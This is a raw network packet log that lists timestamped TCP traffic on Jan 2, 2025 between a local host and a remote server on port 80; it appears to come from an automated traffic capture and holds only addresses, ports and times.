Jan 2, 2025 20:20:03.562815905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562815905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562822104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562838078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562849998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562861919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562879086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562882900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562896967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562903881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562920094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562922001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562932968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562944889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562958002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562958002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.562958956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562984943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.562997103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.563003063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.563003063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.563008070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.563021898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.563055038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.563066006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.563077927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.563080072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.563080072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.563080072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.563091040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.563122988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.563144922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.564956903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.564980030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.564991951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565020084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565046072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565047026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565062046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565073013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565094948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565105915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565107107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565120935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565125942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565140009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565151930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565165043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565196037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565196037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565221071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565227032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565232992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565244913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565263987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565277100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565287113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565287113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565290928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565305948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565318108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565327883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565341949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565344095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565359116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565368891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565371037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565385103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565407038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565414906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565422058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565431118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565443993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565455914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565469027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565474033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565474987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565474987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565480947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565495014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565517902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565520048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565526009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565537930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565553904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565570116 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565574884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565593958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565608025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565623045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565623045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565627098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565637112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565639973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565654039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565665960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565680981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565681934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565681934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565700054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565715075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565716028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565730095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565742016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565751076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565754890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565768003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565777063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565781116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565793991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565817118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565817118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565821886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565834999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565844059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565865040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565876961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565879107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565879107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565890074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565901995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565915108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565926075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565928936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565928936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565941095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565954924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.565963030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565992117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.565992117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566001892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.566006899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566020012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566031933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566046953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566052914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.566052914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.566066027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566067934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.566082954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566095114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566107988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.566112041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.566149950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.566169977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.636106014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.636171103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.636198997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.636210918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.636224031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.636234999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.636246920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.636254072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.636260033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.636302948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.636344910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.652496099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.652517080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.652535915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.652549982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.652563095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.652570963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.652575970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.652591944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.652620077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.652620077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.652652979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653218985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653232098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653243065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653278112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653280020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653280020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653320074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653332949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653336048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653346062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653398991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653439999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653441906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653455019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653466940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653479099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653491974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653500080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653502941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653517962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653543949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653543949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653565884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653582096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653594971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653606892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653639078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653644085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653669119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653678894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653681993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653696060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653731108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653732061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653755903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653767109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653780937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653800011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653811932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653815031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653825045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653837919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653851986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.653871059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653871059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653913021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.653913021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.656889915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.656903028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.656914949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.656939983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.656943083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.656958103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657000065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657016039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657035112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657047987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657058001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657079935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657088995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657088995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657088995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657108068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657118082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657121897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657135010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657139063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657149076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657154083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657172918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657186031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657202005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657205105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657205105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657217979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657231092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657236099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657247066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657288074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657288074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657305002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657309055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657320976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657334089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657346010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657362938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657373905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657387018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657406092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657418013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657432079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657442093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657442093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657442093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657447100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657461882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657468081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657475948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657488108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657505989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657506943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657506943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657527924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657541990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657542944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657552958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657565117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657569885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657591105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657603025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657617092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657617092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657623053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657635927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657648087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657659054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657660007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657659054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657675028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657681942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657689095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657701015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657712936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657725096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657737970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657744884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657744884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657744884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657782078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657793045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657793045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657794952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657807112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657819986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657838106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657855988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657859087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657872915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657877922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657877922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657887936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657901049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657917023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657917023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657919884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657933950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657948017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657963991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657969952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.657977104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657991886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.657996893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.658004999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.658013105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.658018112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.658031940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.658045053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.658046007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.658057928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.658072948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.658143044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.658143044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.726687908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.726747990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.726758003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.726769924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.726783037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.726797104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.726808071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.726814032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.726821899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.726835966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.726861000 CET	49704	80	192.168.2.8	47.254.187.72
